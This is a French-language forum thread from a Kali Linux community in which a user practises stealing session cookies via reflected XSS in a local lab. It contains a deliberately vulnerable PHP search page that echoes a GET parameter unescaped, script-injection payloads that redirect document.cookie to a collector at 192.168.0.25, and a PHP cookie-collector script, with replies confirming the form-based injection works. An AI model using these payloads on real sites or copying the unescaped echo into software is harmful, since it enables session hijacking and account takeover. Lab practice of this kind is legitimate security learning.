Auteur Sujet: XSS cookie hijacking  (Lu 979 fois)

0 Membres et 1 Invité sur ce sujet

Hors ligne _john_doe

  • Contributeur de Kali-linux.fr
  • Membre VIP
  • *****
  • Messages: 543
  • Notoriété : +26/-5
XSS cookie hijacking
« le: 08 mai 2019 à 11:38:56 »
Salut les gens.
M'entraine actuellement sur le vol de cookie de session via XSS et je comprends pas pourquoi mon script PHP ne fait pas le job  :-[

Donc le script vulnerable suivant (xss.php) :
<!DOCTYPE html>
<html lang="fr">
    <head>
      <meta charset="utf-8" />

      <script>
        document.cookie = 'login=root;'
       
      </script>
    </head>
    <body>
        <h1>RECHERCHE</h1>

        <?php
       
        
{ if(!empty($_GET['keyword']))
            echo 
"Résultat(s) pour le mot-clé : ".$_GET['keyword'];
        } 
        
?>


        <form type="get" action="">
            <input type="text" name="keyword" />
            <input type="submit" value="Rechercher" />
        </form>
    </body>
</html>
Ce script est vulnerable un une injection XSS (je l'ai testé il fonction nickel. Sufit juste de saisir :
http://localhost/xss.php?keyword=<script>alert(document.cookie)</script>Affiche le cookie de session.

Il suffit donc d'ouvrir un serveur sur lequel sera renvoyé le cookie apres recupération.
Le script PHP du serveur de recuperation super basique (volCookie2.php) :

<?php
$cookie 
$_GET['cookies'] . "\n";
echo 
$cookie;
?>

Et la c'est le drame car lorsque je tente un :
http://localhost/xss.php?keyword=<script>window.location.replace("http://192.168.0.25/volCookie2.php?cookies="+document.cookie);</script>Le window.location.replace ne fonctionne pas, il ne bascule pas sur le serveur de recuperation.
Alors que si je tente un :  (passer un parametre en dur via la requete GET au lieu du document.cookie)
http://localhost/xss.php?keyword=<script>window.location.replace("http://192.168.0.25/volCookie2.php?cookies=test");</script>Le transfert s'effectue bien vers le serveur de recuperation du cookie et j'ai bien TEST qui s'affiche.
Donc j'en deduis que c'est une erreur de typo lorsque j'essaie de passer en parametre document.cookie.
Mais j'ai beau chercher je ne vois pas ou est l'erreur de typo.
Any help welcome




Hors ligne _john_doe

  • Contributeur de Kali-linux.fr
  • Membre VIP
  • *****
  • Messages: 543
  • Notoriété : +26/-5
Re : XSS cookie hijacking
« Réponse #1 le: 08 mai 2019 à 13:26:56 »
Bon alors suite et fin.
Cela fonctionne en fait mais seulement quand l'injection XSS est faite via le formulaire de recherche dans la page vulnérable.
Si dans la barre de recherche de la page vulnerable on mets :
<script>window.location.replace("http://192.168.0.25/volCookie2.php?cookies=" + document.cookie);</script>La redicrection se fera bien et on recupere le cookie de session.
Mais n'explique pas pourquoi cela ne fonctionne pas quand on le tente directement via le GET dans l'url.
Si quelqun a la reponse.


En ligne ZeR0-@bSoLu

  • Administrateur
  • Membre VIP
  • *****
  • Messages: 1405
  • Notoriété : +49/-2
  • Pentest - Arch - Python - Kali
    • Kali-fr
Re : XSS cookie hijacking
« Réponse #2 le: 09 mai 2019 à 09:07:18 »
Je veux pas trop m'avancer mais je pense que c'est possiblement une sécurité du browser possiblement , tu as essayé de faire les requetes avec curl ?
Mess  with the bests.
Die like the rest.